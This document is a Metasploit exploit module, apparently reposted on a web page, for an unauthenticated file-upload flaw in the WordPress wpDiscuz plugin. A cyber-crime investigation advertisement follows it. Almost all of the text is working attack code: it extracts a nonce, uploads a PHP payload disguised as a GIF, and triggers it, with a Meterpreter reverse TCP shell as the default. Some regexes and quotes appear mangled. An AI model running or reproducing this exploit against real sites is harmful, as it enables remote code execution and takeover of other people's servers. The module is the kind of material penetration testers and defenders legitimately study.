##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘WordPress wpDiscuz Unauthen File Upload Vulnerability’,
‘Description’ => %q{
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
version 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files,
including PHP files, and achieve remote code execution on a vulnerable site’s server.
},
‘Author’ =>
[
‘Chloe Chamberland’, # Vulnerability Discovery, initial msf module
‘Hoa Nguyen – SunCSR’ # Metasploit Module Pull Request
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘WPVDB’, ‘10333’],
[‘URL’, ‘https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/’],
[‘URL’,’https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md’],
[‘URL’,’https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz’]
],
‘Privileged’ => false,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Targets’ => [[‘wpDiscuz < 7.0.5’, {}]],
‘DisclosureDate’ => ‘Feb 21 2020’,
‘DefaultOptions’ =>
{
‘PAYLOAD’ => ‘php/meterpreter/reverse_tcp’
},
‘DefaultTarget’ => 0))

register_options [
OptString.new(‘BLOGPATH’,[true,’Link to the post [/index.php/2020/12/12/post1]’, nil]),
]
end

def check
check_plugin_version_from_readme(‘wpdiscuz’,’7.0.5′)
end

def blogpath
datastore[‘BLOGPATH’]
end

def find_wmusecurity_id
res = send_request_cgi({ ‘uri’ => normalize_uri(target_uri.path, blogpath)},5)
wmusecurity_id = res.body.match(/wmuSecurity”:”(w+)/).captures
return wmusecurity_id
end

def exploit
wmusecurity_id = find_wmusecurity_id[0]
php_page_name = rand_text_alpha(5 + rand(5)) + ‘.php’
data = Rex::MIME::Message.new
data.add_part(‘wmuUploadFiles’, nil, nil, ‘form-data; name=”action”‘)
data.add_part(wmusecurity_id, nil, nil, ‘form-data; name=”wmu_nonce”‘)
data.add_part(‘undefined’, nil, nil, ‘form-data; name=”wmuAttachmentsData”‘)
data.add_part(‘1’, nil, nil, ‘form-data; name=”postId”‘)
data.add_part(‘GIF8’ + payload.encoded, ‘image/gif’, nil, “form-data; name=”wmu_files[0]”; filename=”#{php_page_name}””)
post_data = data.to_s

res = send_request_cgi(
‘uri’ => normalize_uri(target_uri.path ,’wp-admin’, ‘admin-ajax.php’),
‘method’ => ‘POST’,
‘ctype’ => “multipart/form-data; boundary=#{data.bound}”,
‘data’ => post_data
)

time = Time.new
year = time.year.to_s
month = “%02d” % time.month

regex = res.body.match(/https?:\/\/[w\/-.:]+.php/)
wp_shell_upload = //w+-d+.d+.php/.match(regex.to_s).to_s.tr(‘/’,””)

if res
if res.code == 200 && res.body =~ /#{php_page_name}/
print_good(“Payload uploaded as #{php_page_name}”)
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::UnexpectedReply, “#{peer} – Unable to deploy payload, server returned #{res.code}”)
end
else
fail_with(Failure::Unknown, “#{peer} – Server did not answer”)
end

print_status(“Calling payload…”)
send_request_cgi(
{ ‘uri’ => normalize_uri(wordpress_url_wp_content, ‘uploads’, “#{year}”,”#{month}”,wp_shell_upload)},
5
)

end
end



Source link

Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Email: info@digitpol.com
Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884